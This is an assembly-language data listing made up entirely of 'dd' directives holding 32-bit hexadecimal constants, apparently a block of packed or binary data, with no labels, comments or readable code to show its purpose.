dd 0F343FFEh, 37367B68h, 188073C0h, 131D1CADh, 0B0C0EC08h
dd 0F9D3F026h, 0CFA60159h, 788EF5AAh, 96688090h, 0C038F38Bh
dd 0F1500B2h, 4096766h, 944E329Ch, 240334C0h, 461000E5h
dd 0FD83EC9Bh, 88004BB7h, 12DE2A29h, 603C815Bh, 65910A5h
dd 2F06B31Ch, 9F8B3FECh, 5E1B0029h, 7CB25D0Ah, 0FF00F0EDh
dd 45619C98h, 5F7D59h, 63E97288h, 42C47F60h, 1B84EB54h
dd 666EAB00h, 0D99A6782h, 1249A21h, 7E3335Eh, 0DC1430D1h
dd 2E503759h, 9300E5D4h, 0C28315C8h, 0F032DF53h, 0BB7502D7h
dd 0FD488A64h, 0EB096940h, 213EC51Fh, 52CDC880h, 7D6E77h
dd 0E22A8235h, 70C52320h, 0F98610C0h, 30A0C4h, 0B9C7B553h
dd 0E659A5Ch, 61FB5800h, 0F352FAF7h, 8B4F0086h, 2A18FD4Eh
dd 34388174h, 0C2258FB5h, 0B97CC0CBh, 731EBBh, 3551C5Eh
dd 40E93AEFh, 86422E00h, 7B9934Dh, 413B0008h, 0DE5E7B65h
dd 6C1FC5B3h, 0A9C0B6BCh, 1B5150BAh, 0D952009Fh, 812097C3h
dd 0E91E963Bh, 840B486h, 0A2A926A5h, 977D0727h, 60804A41h
dd 0D8562ACEh, 3C41E3Ch, 0CC6541Fh, 860180F1h, 37F5002Eh
dd 56E302EEh, 31005AFFh, 9566E828h, 0C3B538h, 0EF4A9959h
dd 0C48149CCh, 5C985500h, 8B058F24h, 140900EAh, 5DEBE967h
dd 0DA0E75EEh, 7CDF52A0h, 0AB825981h, 96D4ACCAh, 0FB7A009Fh
dd 0ABF644Eh, 8E078794h, 8A0245DEh, 3B700D90h, 0AC6700A9h
dd 0FE258BEAh, 71000E6Ah, 6E81057Bh, 14A5FCBBh, 0AF095FA4h
dd 0D1376700h, 7AC2517Dh, 0DDC82728h, 0AB014775h, 0A0745C69h
dd 2C0CF1Ah, 6EFC07D3h, 0EE21DAF9h, 0FF086B40h, 8300EAA1h
dd 0DC9FD082h, 9812BEEFh, 0D7B50h, 37C1ED81h, 0BD1A1C6Eh
dd 93383500h, 51A7A305h, 467303E1h, 68B00FE2h, 89002075h
dd 0E112552h, 0ACF919h, 0DDD596B5h, 439D9E72h, 7C642800h
dd 0CCD3215Ch, 87542CEFh, 3F8B8078h, 151DDADEh, 33FD1400h
dd 0A1341C94h, 9A8A00E7h, 78CB8D72h, 6A008677h, 0AB2DC405h
dd 0A822B1h, 5272A741h, 9C2CF257h, 770BD500h, 0C68ECBD9h
dd 94BA7Bh, 9709F337h, 0BE5E1CA4h, 0B61B9C00h, 7D7864E6h
dd 8688C72Ch, 0D870C181h, 51119E65h, 50F4003Dh, 7A71D0A5h
dd 8EFF00C0h, 76E95C8Ch, 0D3EE03Bh, 0BFDFBC4Fh, 82BB97AEh
dd 8C8DCC4Bh, 194DE168h, 608C12EEh, 5EF5D853h, 18B5074Ch
dd 1211427Dh, 1403B016h, 5C398C63h, 0A92C2F01h, 0FDDFD96Eh
dd 10C403Ah, 0FC9AF2BFh, 9CB17000h, 34188414h, 317B09h
dd 0C725F641h, 7563EB38h, 1E2D1500h, 0FDB9CD2h, 45B700F8h
dd 0E6721A31h, 54016A7Bh, 959B4273h, 0DFC3FE8h, 793200A2h
dd 0E0EAA098h, 0E003027h, 0A1704C99h, 0A62F76h, 9B95E9Ah
dd 4175409Dh, 5F6E4700h, 0CEF097DAh, 573C008Ch, 771BDD44h
dd 0D900CB32h, 0B8B46B43h, 0CD2D50h, 0FFD0CED6h, 0F8715203h
dd 0A5D10C60h, 2617C758h, 0DF66624h, 0CD08B98Eh, 4E20805Dh
dd 5095C7B0h, 6EA00C2h, 78C9B487h, 340035A4h, 7AB7D17Dh
dd 2A740A65h, 1EC8E9C0h, 0C0C7130Bh, 7CE6FE19h, 0E1744E10h
dd 3D21D461h, 32E43AE0h, 17F1Fh, 5AF8BCD6h, 0A95D46C8h
dd 0F96BBF0Ch, 580268CFh, 0EC142463h, 862AF981h, 8F3200F4h
dd 3B35F6ABh, 0CD660925h, 0E21B109h, 0F4AB7812h, 0DF03BBC0h
dd 0F16F672Dh, 11184381h, 0B57896F0h, 0C52AFA70h, 0A800F886h
dd 0D9B3CA16h, 1D81ABB4h, 12AEC401h, 3A14C0ACh, 797CCA8Fh
dd 74EF5300h, 3118D76Ch
dd 0B95D31E0h, 0B77F48C9h, 4D041858h, 7D502F00h, 0BF0015C9h
dd 0A3DF5691h, 0EA2CF7h, 0AF04133Ch, 298F5BCEh, 890169F8h
dd 0EC078ECAh, 0D5E03294h, 0C4983CACh, 0D09E033Eh, 39BE848Dh
dd 250AC05Eh, 5100CB1Bh, 82E6B4Eh, 7B6C787h, 0CCF868Bh
dd 0B4FE4072h, 0F203D229h, 93CDC05Bh, 9275A1B1h, 211AD0h
dd 7880B4FFh, 0A41F0DFDh, 8742C700h, 0F42A587Ah, 0A89D0146h
dd 0B77C5177h, 64508149h, 296FE117h, 1DB0F9ECh, 5E3811DEh
dd 31203090h, 0C7107F04h, 661077A7h, 41B43199h, 99806E11h
dd 64B8E570h, 0D13902BAh, 40718034h, 0DD89B758h, 0F3041BB3h
dd 0FFF0486Fh, 0B1C0015Dh, 0F7782649h, 0B9F0365h, 730AFAD8h
dd 588B0830h, 72C37B49h, 0F5BD03F7h, 0DC58AD50h, 44FFC82Ah
dd 5923C503h, 1BFEA25h, 1B229E64h, 0D862B4DDh, 28C0AD8Ah
dd 690340DEh, 5A390374h, 5D717C3Ah, 7D495CA7h, 0ED326701h
dd 73384F78h, 0C3358F4h, 0D236B020h, 49388AF8h, 754A0F21h
dd 0A74F0F35h, 0AFB02399h, 781DD3h, 0B4A8448Eh, 0EEE030C8h
dd 0E746690Fh, 8C644131h, 0FC871F1h, 77760747h, 0A1A01C62h
dd 0C0EDAF35h, 0AD00AAA9h, 49B62FE2h, 2E2494h, 0E230175h
dd 0A9FDB37Dh, 4F73E8F7h, 84B89900h, 9B15E252h, 16E12D5h
dd 0FB300A7h, 0A910F933h, 3A48E12Eh, 0AC285000h, 0C0B2Bh
dd 8E37798Fh, 9864246Bh, 4F1E7EF8h, 400A056h, 9C7433D7h
dd 6D1300DDh, 8E40F42h, 0F67C226Ah, 7F942800h, 1F37AA33h
dd 1951F7Bh, 7186458h, 6075BA87h, 6CA2DCAFh, 0F03DD72h
dd 6A3A4EE3h, 0DA8085A4h, 1DE441F4h, 41D833A5h, 90D518AEh
dd 0C70898A9h, 9520421h, 1CA03D33h, 0C448D302h, 685673C0h
dd 0D55370Ch, 6CB0585Ah, 0A26030E7h, 334F1F8Ch, 0E0FE50C2h
dd 3E338402h, 8E81081Ah, 78B3B838h, 0A14187D6h, 1E462126h
dd 0DD051C70h, 6D0020E0h, 14C5782Bh, 4041F647h, 0C11F83C4h
dd 11704C5Dh, 3370C61h, 5603A99Bh, 930CEF8h, 0B18161FFh
dd 0A12B0637h, 49EE35C0h, 7963AA01h, 105DD108h, 9066F8F3h
dd 2F14004Dh, 3B07B3D9h, 6D00886Bh, 659885DEh, 0C0BE28EDh
dd 80210F98h, 6B71737Bh, 166154F8h, 4D6CC119h, 37810200h
dd 989F6A3Ah, 0DB207CC5h, 0E54A002Ah, 0EFAC8BDAh, 68484B55h
dd 8C00775Fh, 2B6BA191h, 1C462C7Ah, 43DE32F0h, 2DD5BAD2h
dd 0F2CD13D8h, 0E0057B8h, 511CAA02h, 0F852BA4h, 6F8B46E1h
dd 3D6881C0h, 0E8008D49h, 299664DAh, 3FADB83h, 0F4EE9CECh
dd 27801A38h, 730F94D4h, 4028FE47h, 6F7AA841h, 190B00A6h
dd 0C4DEDF5Bh, 30046B1h, 63E977Dh, 0EA1E1Bh, 0D8F44EB0h
dd 7935EBEFh, 8B140700h, 0E191CBE9h, 0B54438C7h, 878099BBh
dd 355E0109h, 0F900DF0Ch, 5921B6DCh, 0E1C673B7h, 4631094h
dd 0A9B8F8B0h, 0AFA710C1h, 0D8C4598Bh, 4087820h, 0B3AC0989h
dd 9C38C0D0h, 0AD0087A1h, 8E5D3F84h, 60624AE5h, 0ECCB0980h
dd 0E3E8AF7Bh, 9B788700h, 15CE5E7Dh, 38EEE4C3h, 6F005ABFh
dd 1D59AED0h, 3103D7C6h, 81A9932Fh, 0F1649840h, 0D62101A6h
dd 2923BF97h, 0FF41F45Ch, 14FA3707h, 0C927118Ch, 1E872840h
dd 0B8580E09h, 0B9872D95h, 55874B98h, 0C0C2A401h, 9C2E68C2h
dd 0F8B1CE00h, 298DCB4Fh, 0DA5C00CAh, 0DB11B794h, 0B8002BEEh
dd 0A6C4F6E9h, 0EE5823ACh, 0E7778D1h, 74263CF1h, 2B44FC43h
dd 0D336CEB8h, 141345EEh, 0F700BD3Fh, 9CCCA6Ah, 6EEA3CC0h
dd 0FE264180h, 0BB933F66h, 5EA7879h, 17187EB8h, 8C18641Eh
dd 0D132000Eh, 730CC2A4h, 9A0039CBh, 0FCE11953h, 0F6B760Ah
dd 35F81E8Ch, 0C4B5BDC0h, 0D8A06278h, 0C9796A31h, 8C9C7B07h
dd 0F290C8AEh, 74FAEBh, 0B68D10A5h, 876C1BC0h, 26669100h
dd 6E2A9A29h, 0F8BE0045h, 0BF37DB5Fh, 96004BBCh, 0FBEF644Eh
dd 0C093D997h, 5F30A5AEh, 130EBFD7h, 63A6EB14h, 0EE016DDBh
dd 46800011h, 0F054F32Dh, 0E4039694h, 25BC58A2h, 3DDA77F9h
dd 0CC021636h, 60997715h, 61003844h, 0D9293421h, 28DDB9E0h
dd 0FA9B43EAh, 80C71231h, 55000089h, 286B5C04h, 5EE3C800h
dd 41F55658h, 0F9D400F2h, 0C6E95777h, 791D505Fh, 134F75DCh
dd 8EEAA0CFh, 0F0447ED5h, 1FB73D92h, 0A3001449h, 74EB05ABh
dd 0D1027749h, 551B4EFFh, 4F9BE191h, 48A5C8h, 3DBC0826h
dd 0FC755735h, 0E68848h, 45B40CA6h, 0ECB3B53Eh, 0C9740F05h
dd 0AFA16781h, 0F8C08E5Fh, 1200B694h, 8A91A406h, 990FA1h
dd 535EA82h, 131875D0h, 0BCB9C900h, 60FBABDDh, 2EA900BFh
dd 2CA112BEh, 2AFAA23Dh, 0F80022FCh, 3410C77Eh, 1BBC4Ch
dd 0F46AD118h, 61B38393h, 0D9A7FC01h, 0EBE00EF8h, 0D7E424h
dd 30F273CFh, 8D3A7C99h, 79405700h, 20120DF6h, 0EC0200BBh
dd 4A7EB534h, 0CD0F21F1h, 805F0AB3h, 54B19FDh, 5EA9004Fh
dd 0DDA7AA8Eh, 547A28E8h, 0E91DD70Fh, 71803C44h, 6256FE05h
dd 9A3200F4h, 8C467F6Ch, 2500C533h, 0A742275Bh, 0C33FA288h
dd 0AC452210h, 0F89B85C0h, 0F0C3C200h, 5CB5FB83h, 687B19A3h
dd 0F087C804h, 6C50E0AEh, 0B2FC35B8h, 5B958E00h, 88E15C2Bh
dd 63B70057h, 4E861164h, 193B2D82h, 0A22E8401h, 1C805EE2h
dd 0FC997Eh, 67D72152h, 9023C9ECh, 18CA48h, 6EB8E0BDh
dd 91C9A4Dh, 0C021F0ABh, 9E713401h, 0D34C205Ah, 31FDF530h
dd 2FB7502h, 0BE152A5Eh, 54603910h, 20FC8621h, 76EB1103h
dd 388567h, 23DC4718h, 0F5AFECF8h, 0DA440E15h, 91430FCCh
dd 0E5572042h, 605699h, 97CD9C39h, 0C54C1406h, 0B18C4100h
dd 0AF5A223Fh, 0E6F747Fh, 4F39E0D0h, 0BC9B4CE0h, 88FA902Ch
dd 1D0002FCh, 5BA00ACAh, 3AC1E477h, 0FB011062h, 1A391393h
dd 632CD83Eh, 153C58h, 0CB83AA2Ah, 852CFh, 66AF5189h, 6A426854h
dd 98DB6B00h, 52DC05CAh, 0D40600B7h, 54D13F7Ah, 0D6019739h
dd 0CDA23314h, 0E5D8B2D3h, 0D8D46F38h, 0C06D80BFh, 0CA5B44ABh
dd 0D85D7400h, 77F5DE2Ch, 83030BCBh, 0E3011C67h, 0CCAB9F07h
dd 0E91E6079h, 6457493Ah, 9CED600h, 3517B5Fh, 4FF12E6Eh
dd 37904426h, 5B908D17h, 11928C07h, 0EBA056AFh, 0A7496Eh
dd 0B0EF8134h, 35CFD629h, 0AFB7C500h, 39579B93h, 43330003h
dd 0AD523F41h, 6F002BF8h, 9277AFC7h, 0FE0EFD2Fh, 0BDE5009Eh
dd 15F99834h, 9102B5F2h, 0E88744D7h, 0BBB46889h, 12950309h
dd 0C263FEDh, 38A3D2A0h, 57F9A001h, 0EE6ED804h, 0B00070B9h
dd 32C3D7DAh, 13003D48h, 2FA62A90h, 3ED0F3h, 5D0D3B0Ch
dd 0D85EC991h, 8C100F60h, 265C1639h, 6A2981Ah, 4190C199h
dd 0F610A603h, 0C80FE632h, 33F209Eh, 5EC780DFh, 2EB03BC6h
dd 1500A0D9h, 3CCA0A36h, 0E30637h, 0BFE85288h, 561A7942h
dd 0EFAAB300h, 9074623Dh, 0CC49A73h, 0E83C5E8Ch, 1000C4C0h
dd 0BCC65D44h, 7AFDA3E3h, 9A7A0090h, 0AE3D3A4Eh, 1403A091h
dd 6D2CF656h, 19C0A8A3h, 0AC3F824h, 89C58AB9h, 9C8D00C4h
dd 0A385F880h, 10515006h, 36BB37h, 69A57C21h, 0E10C5C24h
dd 4D957D0Fh, 68ED6793h, 0F26A3D50h, 2EAB00FEh, 33854899h
dd 9316236Dh, 101C02A8h, 5C69807Fh, 32553D7Ch, 8C043E67h
dd 0A5425B00h, 7A0AC16Fh, 0EBD0B601h, 1A73F926h, 1CD73480h
dd 1EC4EF11h, 6003412Dh, 0E491DC0Bh, 0C38900B1h, 0E90D4099h
dd 7C03D5EFh, 0F814596Dh, 5B88E0C7h, 3E8B1EB5h, 0A3740F70h
dd 0F0B84FA0h
dd 3600240Bh, 5B9B99B4h, 0B1ECA9Dh, 0CFB2A0CDh, 0D3143C10h
dd 9800B0BAh, 23113536h, 0E67D4Ch, 5EFC046Dh, 0EDAF4E0Ch
dd 33391600h, 0E369FD2Bh, 589439FBh, 0E646CB0Eh, 0BAD9EE40h
dd 4C01313Bh, 8EF7E982h, 0E440107Bh, 74C8DD98h, 0A9D918E6h
dd 0FB5171BAh, 204D3Ch, 0C2D47C8Fh, 0BD58382h, 0A88DE031h
dd 6F091810h, 570169E6h, 58B1CD0Bh, 0C4409A76h, 6654B838h
dd 40F528B7h, 1E627B1Fh, 65D3580h, 0C2BEBE8h, 68197A7Fh
dd 0C100CDE8h, 0C94EEE5Ah, 83DDBAh, 541D77CCh, 1438FC8Fh
dd 6F0B18C0h, 0F0E3A792h, 0C6D60055h, 0FF2BA496h, 2C060AF4h
dd 0B89D9E40h, 20530CC9h, 0D7B0DD4Dh, 0B5AF90Fh, 1658E1FFh
dd 0F8D461D3h, 9B280305h, 9AAC842h, 0E4E820C3h, 603D2CBh
dd 49C56BB3h, 1653F8C0h, 6843000Fh, 0C40B44F2h, 330B1AACh
dd 0E2281E8h, 17E2A365h, 5ED0C086h, 3C310006h, 6C03D990h
dd 0FB5438D1h, 0A2001E9Ch, 9D661B5Ah, 88C4F6h, 0C1BFBD53h
dd 1EB309C5h, 59F0111Dh, 3AF58B00h, 302253F7h, 0B840EC25h
dd 0C670C2A0h, 0EB86A4A0h, 2D0EE0FBh, 0E5C10741h, 0D035D8h
dd 0EA776176h, 3B5E7234h, 483ECB98h, 6037833Eh, 0E997B3FFh
dd 0D45056D6h, 405432h, 0DD9CCF8Ch, 1BED5A1Dh, 0CBF7F58h
dd 6103CD25h, 80A567B5h, 424FE0DCh, 5909716Bh, 80892652h
dd 4C536DBDh, 195600F7h, 934A24E0h, 32000C1Ah, 5DB8D87Ch
dd 0EB035105h, 3F491EC8h, 87012C42h, 54FA366Ch, 0D0B4CBF8h
dd 64D53534h, 0AF69BA0Eh, 0EF5B614Fh, 8180C3D6h, 827F6898h
dd 31C0F9EBh, 0E972D99Dh, 0B01B0467h, 904AFB74h, 0C2950700h
dd 0EC01E176h, 3B3CC75Ch, 0B2CC5657h, 0B57086h, 8CBFC44Bh
dd 0A20CEC6Fh, 0E6FEF600h, 6EBA93E5h, 838B3A2Fh, 3FAC1B83h
dd 68914304h, 849B20FFh, 8C514A0Eh, 0F0B6A067h, 13573AA8h
dd 4D7EDh, 26E4F982h, 173E32DFh, 4D36002Ah, 0B20A8359h
dd 7C487C9Ch, 50860103h, 0D051461Dh, 0A54EF884h, 0ABB4C806h
dd 7205792h, 87D3889Eh, 0F5FD007h, 510065D0h, 4E05B862h
dd 10316C4h, 84DEF9ACh, 0C9DC04CCh, 2D96D823h, 0B361CD00h
dd 750658F2h, 805174CEh, 0BB37A143h, 5F80D0C0h, 26AEE9h
dd 86E3174Dh, 1E018C77h, 10B76618h, 1EA91A31h, 40F7BB6Fh
dd 26B5E9B8h, 0FC004ACFh, 0D47DBF8Eh, 1BC80E7h, 740F27ECh
dd 60EF4598h, 0DF073641h, 68AD60F5h, 0C859BAC0h, 476772Ch
dd 36893210h, 0D180FB9Eh, 785A19D6h, 94ECFF35h, 50BE01CEh
dd 9B17122Dh, 5DA2D0F4h, 9FD720C1h, 5BF84B75h, 41EE0F3Fh
dd 968051D8h, 2562B35Dh, 0E330A3E8h, 97B480A1h, 447E30A4h
dd 0A5BE3520h, 0DC073800h, 27514BB0h, 548211B7h, 0E41907BBh
dd 2F87DF39h, 65DC0380h, 51361F28h, 0AE69F099h, 1F181C7Ch
dd 5C60199Ch, 3CF203h, 4C9D3629h, 0C92FC6BEh, 0CA0E6E00h
dd 4E271719h, 8F8300E7h, 29F49F4Dh, 0DD1F7D2Ah, 4053B89h
dd 0C002444h, 3E0FFBCEh, 0D198A03Dh, 97F500BBh, 99C51760h
dd 0FE005BBDh, 8B753590h, 0E5EFBFh, 5CE47D7Ah, 0BCC26278h
dd 357F500h, 9AE6879Bh, 5430002Eh, 89E0370Eh, 69C0F3FAh
dd 9C7569B5h, 45CC005Ah, 1742F860h, 0BA005CD2h, 0EB76B7C3h
dd 347ED5Bh, 5272F45Eh, 0FAE0E1CBh, 0EF7C797Dh, 270B0E00h
dd 0B13FEBFFh, 5E59C099h, 3AAA74E8h, 30006AEAh, 2411D952h
dd 9C032Dh, 2605F466h, 0D7AEC13h, 0FD1CBA1Ch, 0EB3C78h
dd 2519520Fh, 7A9526A7h, 0B460034Ah, 61D49377h, 0EC0CFAC1h
dd 64012E33h, 0C210FD16h, 0C7F5F6E7h, 989C7BD5h, 1C0C008Ah
dd 878F4D67h, 7E410358h, 0A9508D00h, 0A9DB37Eh, 0DFEF3BFCh
dd 0BFFB2300h, 44676089h, 0AFD30C06h, 40EBE4h, 62CD73A3h
dd 6A6D09DBh, 6B19D260h, 1D4F797Ch, 805260BEh, 82AA984Dh
dd 20C716E0h, 513C70BFh, 9E0A061Ah, 108DF8C5h, 0DB656E18h
dd 1D4F8349h, 7EF2A22Fh, 4B00203h, 0A4F0AE51h, 35000B99h
dd 0E9E8A71Dh, 17206CF6h, 0E0A073D2h, 40CAB13h, 6878C2AEh
dd 6F9E0092h, 8A26CEC5h, 611524DDh, 7C844511h, 4B5A4601h
dd 3834CD33h, 0B20088BEh, 0D3D722BDh, 0DEE08EBCh, 534D1400h
dd 9917EF69h, 0FEC2001Ch, 937845C8h, 0EE00E6BFh, 149A0D16h
dd 773C3Fh, 0C8AD23CEh, 0BD0528C4h, 8CC5C30Eh, 35E3605Eh
dd 300284EDh, 497130C2h, 4D00F226h, 3362E52Bh, 5EF96E1h
dd 4774FCBEh, 709840D2h, 0DD5258ABh, 66E1BD00h, 426F6E5Ch
dd 496961D6h, 0E57E318Eh, 0D1B5DC20h, 0C0354E03h, 9823F15Eh
dd 0AAFB8Ah, 4D44E59Dh, 0F63652DFh, 10E64F4h, 895A45B4h
dd 7E5407B5h, 0D6A9818Eh, 8E83A86h, 88390757h, 0C72C8E87h
dd 0ADCC0001h, 2E78702Dh, 7921FA0Ch, 0EB40A8h, 0FF659A85h
dd 73AF364h, 8EA14200h, 152D35C1h, 8AE10226h, 0FD0A7444h
dd 7CAC270Fh, 0E0259753h, 0ECCBB5BBh, 2AFE30A9h, 2F220F20h
dd 6EDDEA01h, 6DB3EE35h, 249DE8h, 9546FECCh, 0E7F65737h
dd 99D96807h, 48F0CA64h, 0C66212A1h, 0A19032B1h, 0B68BCB0Ch
dd 12193Fh, 8635E757h, 0CCCA1F9h, 0FB504DECh, 0E4002684h
dd 25840ABAh, 0C7ACCAEDh, 0F07DB440h, 57AEB382h, 0CFF65400h
dd 674B0605h, 2D4900B9h, 8AF7AB96h, 0AA00A3E8h, 1C71A932h
dd 7158E90Bh, 69E60163h, 7EA1EF0Fh, 0A42448FDh, 6747B513h
dd 0E3122B01h, 79705037h, 0C8B25039h, 38DA30C9h, 0F41F79B8h
dd 3027D37Fh, 85DA81C2h, 87C4C6E6h, 0E92A0C25h, 0C9384C4Bh
dd 3EF9A80Ah, 7301E4FBh, 74159184h, 9C05E806h, 4DB8DAE6h
dd 1FE7C000h, 9FEA21h, 111B0F73h, 246FE40Dh, 959751Ch
dd 0A038D400h, 7BF42510h, 0B8F53F67h, 33424300h, 0B94A352Ah
dd 0C3D30403h, 7CEFCE3Ch, 3B1D7358h, 4698E698h, 1CA97836h
dd 0F506A17Eh, 0A3C62352h, 4FF622A8h, 604B5301h, 9B6731C1h
dd 0C3E606C7h, 1195E9E4h, 0FE84FB01h, 0C50DD3DBh, 13CCCE8h
dd 0CCA73A9h, 0A63336EFh, 46031A69h, 0D072D487h, 0C0AA7C88h
dd 8C300118h, 990007B2h, 93404CC1h, 2559D11h, 0DF98A4CEh
dd 9EE08D27h, 0F93F7A77h, 5E660075h, 0AB6EEB03h, 0A053906Fh
dd 0F0C12960h, 516900D9h, 0B597D6DAh, 390EF0D7h, 5CD05BF5h
dd 0FCE719C0h, 39BABC7h, 8A10BA99h, 13B069A1h, 0E0ED39A3h
dd 0CB00BB8Ch, 0EE0E1C1Fh, 3DD5F32h, 0E0D64087h, 68008A60h
dd 9D6EE74Ch, 3FE8443Ch, 6601C826h, 0B3060246h, 4C881C3h
dd 0D1CB2A3Bh, 36396F4h, 206D4445h, 0D5D8BEA0h, 4338EE03h
dd 3072809Dh, 5CB24FCDh, 76A3007Bh, 7308DE24h, 0BE0C47ACh
dd 7993D770h, 0F07A1831h, 85349040h, 9AF43301h, 9F9B08F2h
dd 7C561880h, 6BB105A6h, 8725910Eh, 2901404Dh, 1F4255h
dd 0CE2630D4h, 0AABB252h, 15FBFA1Fh, 4B516603h, 48102905h
dd 1898D004h, 2E10DE60h, 74E6AEF6h, 44600AAh, 0E85B3062h
dd 470CC3E4h, 2011DFFDh, 5DC039B9h, 7CF34B80h, 0E962D508h
dd 0D0BD100h, 406CD68Dh, 71CC0089h, 601DAD5Fh, 500CD1Ah
dd 0AF5B3C54h, 0A9B827Bh, 0E9F2C6D3h, 1E2807B5h, 107D4737h
dd 0B302AB3Fh, 77FB4107h, 0A0CFC718h, 0A62ACF4Dh, 0BD140F6Eh
dd 8CC0B94Bh, 0F111ECEh, 360BA3Ah, 0A54CD427h, 0BFABD875h
dd 31680019h, 49FF775Dh, 9C009B47h, 0C875436Ah, 76695EDh
dd 2BB78D5Ah, 76B3A00Dh, 63795FB8h, 4AA13Dh, 9EC307EBh
dd 0F477ECh, 0F26B5CF9h
dd 4415E8A5h, 0ED412E00h, 7FC0B737h, 0D86907AFh, 326677Bh
dd 488076D3h, 0AE008834h, 1C72E321h, 0B0C57546h, 0B9F27Ch
dd 234704F5h, 83026AAh, 3A430F1Ch, 0E9C0A980h, 0A010DA1Eh
dd 8828D0h, 8506B95h, 0D6599D77h, 18BE20Bh, 99A480EFh
dd 0C09E57C8h, 394031FCh, 81C0D50Ch, 0BFFE887Dh, 6CB100B9h
dd 692BE32Eh, 0EA608624h, 0AAFDAD91h, 0CB163B43h, 1896C780h
dd 0DAB29001h, 474D0600h, 3AEF3170h, 0EDA10008h, 0FCA9D1Ch
dd 34005C60h, 0E63504F6h, 7F9FC8h, 2D1526B0h, 320F8C86h
dd 0BBC2D828h, 20CDA400h, 0EAE19FBCh, 2E7B3946h, 0C001B600h
dd 0F45FA1BAh, 9BE06D00h, 0C85795B3h, 0B83D716Ah, 0A670371h
dd 0E0A25FC9h, 0FBB96DD8h, 0A9DA8E00h, 4B94E502h, 95AF3AD1h
dd 2497F000h, 0F60C532Dh, 0D91C1C78h, 873C462Fh, 42960A61h
dd 2E2CE830h, 37B70921h, 40000DCEh, 0C5954C19h, 0DE703E7Ah
dd 0C8E30A00h, 0B0F72BA1h, 4B0100A7h, 0D6248A17h, 4146EBCh
dd 1FB04879h, 960045B8h, 89DD65FCh, 0BABD0316h, 0CBEFDB08h
dd 197C4AE0h, 0B356B4A0h, 4BDD1100h, 58E893D5h, 5C36126Ah
dd 0A4880080h, 24EF68CAh, 9C005EE2h, 5B75C7BDh, 1E1B7EDh
dd 0AA65B5E4h, 8058B09Bh, 6C17CD30h, 382287E8h, 0C41EBDA5h
dd 5C52C098h, 0FEAE5941h, 708164Dh, 0F3A5B5D2h, 1F4D1C50h
dd 606D1D7Dh, 562303FBh, 0A00217DEh, 0FD509A97h, 0CE4C057h
dd 152B00D7h, 0ACCF1C93h, 90006EC5h, 0A33B54E5h, 76C16A0h
dd 41E24210h, 0A378F762h, 0E3CBE73Fh, 6AE5CF0h, 88D17B01h
dd 58B69430h, 0F187D987h, 0AA97F39Ah, 0CA34C800h, 0FBFF7D5h
dd 0B3E42BE3h, 8810074h, 0E2526EF7h, 1283EB00h, 6F031079h
dd 609701D1h, 3DD97C4Eh, 1F9EDC6Ch, 5E187A00h, 0A081DC69h
dd 67231D0Eh, 568D409Dh, 2BD412A6h, 4C11E00h, 0D73D3458h
dd 0FCDD00E5h, 5D98C5EBh, 0A2007D7Ch, 0FAAB85E1h, 0A00540ECh
dd 0B0FBEB92h, 0A7B300AFh, 48D0D3B0h, 412E5A22h, 0FF00CCB6h
dd 81662984h, 50F21F87h, 0E0AED911h, 327BE0A7h, 33D3A03h
dd 0A0A37C9Bh, 293CB5h, 0D8CDC7BEh, 8AA5F6AEh, 68D79314h
dd 0FFE04C8h, 10906258h, 76607C6Ah, 66F40050h, 4AF91F85h
dd 0CBFCA44Dh, 2491E500h, 0DFB04CB9h, 54140093h, 9C2103EEh
dd 5C7AFAA0h, 0CEBF3D00h, 2B02E5D1h, 0DA4A0AB6h, 4EE0E3FDh
dd 59520D20h, 0A3006DB8h, 0C498A72Ah, 727EACh, 2FE612E1h
dd 65429A02h, 6A62C9F5h, 744AB0h, 0A2C3F3C9h, 6DC6023Fh
dd 9E3D600h, 1D399981h, 8DB1006Ch, 0F0CEE65Dh, 7E70754Ch
dd 8BAD4112h, 20D17B0Eh, 3B0E057Ch, 91C903ABh, 5D855902h
dd 968F9480h, 0D1E6C000h, 3D86FFA6h, 4357385Ah, 51B79C09h
dd 0B68AD020h, 0D80BFBF0h, 80441EB5h, 0F968766Ah, 4AA800D2h
dd 0C6DA8186h, 5277D134h, 314C8C92h, 16710704h, 2BB992B5h
dd 56260584h, 0CBDB870Eh, 948900E1h, 2C9CCE2Ah, 806041C1h
dd 9AD2A34Ah, 67E0B3F8h, 3FE2BB00h, 6A7EAB3Dh, 648707C8h
dd 0E05CE8F2h, 385B1666h, 0BF883100h, 0C77BE763h, 59E530BBh
dd 2136A388h, 0F61A6F00h, 8D2B83D5h, 0C0F10CB6h, 3E711F87h
dd 905D7200h, 9CF8DD8Fh, 35EC0Bh, 0A9882D94h, 0FEC801EEh
dd 5C499102h, 0C3623C74h, 0C3D006BAh, 49847C99h, 48DC810Eh
dd 7AC484F0h, 4012A490h, 0C8DE00AEh, 45F932C1h, 8877E271h
dd 0B09C6200h, 4A278D17h, 306D726Eh, 1E8AEB1h, 0C9008F7Ah
dd 7EB613B5h, 0E4FBD7D5h, 0BA9E1386h, 224F0068h, 4208B06Bh
dd 0CCBE90Eh, 4C3780A8h, 56F265h, 0AF2C4814h, 8A1921EBh
dd 254D6B01h, 737B66B9h, 3FD48170h, 6E85DBF2h, 0C0D3D73Ah
dd 0E5590858h, 10F0AE01h, 23AB7689h, 0FEA08460h, 0A92E00CAh
dd 0FB6E57BDh, 24002AE6h, 0C7D88D5Fh, 0B6FE32h, 721FBB5Dh
dd 16D91CDFh, 8758DC01h, 0B491D89Ah, 3D812030h, 518227EAh
dd 0BF8AC003h, 0C9413880h, 0D57A7264h, 77A6A01Eh, 93EDEAC2h
dd 3B244836h, 60624CD0h, 61F5B7B0h, 0A5D33200h, 0CEA2BC31h
dd 0A15B009Ah, 0EF88499Dh, 0F2003CC6h, 8592CD9Ch, 1233F45h
dd 342C5D5Ah, 6447D865h, 35587CE8h, 0A2648238h, 0E060C317h
dd 0FE8836A0h, 2806005Eh, 0DD625249h, 0D1E0143Bh, 0B2DB3A05h
dd 0ED0435E4h, 68828B7Dh, 5A54403Fh, 60889152h, 0EA8A0AD8h
dd 5E8B691Fh, 0D02C9h, 0FF1BC18Bh, 0E407003Dh, 6C18B357h
dd 0DF015EACh, 0E3EC4D64h, 0B4DFC7F1h, 0BF00F8CFh, 373F5552h
dd 99099283h, 20F794B4h, 0B6AB8E5Ch, 7A84072Ch, 9EEFF2BFh
dd 3B0BE681h, 0A54C20B8h, 356ED00h, 51D7257Ch, 0D34000B1h
dd 55FF504h, 3E0246C9h, 0B90A1DD8h, 2F94A143h, 60899E55h
dd 0CB04DF7h, 0C051914h, 0E9C9FBFAh, 1AB21680h, 700A5938h
dd 8D65E309h, 0CDFB9C20h, 0C409B954h, 10845ED1h, 4A00CCCh
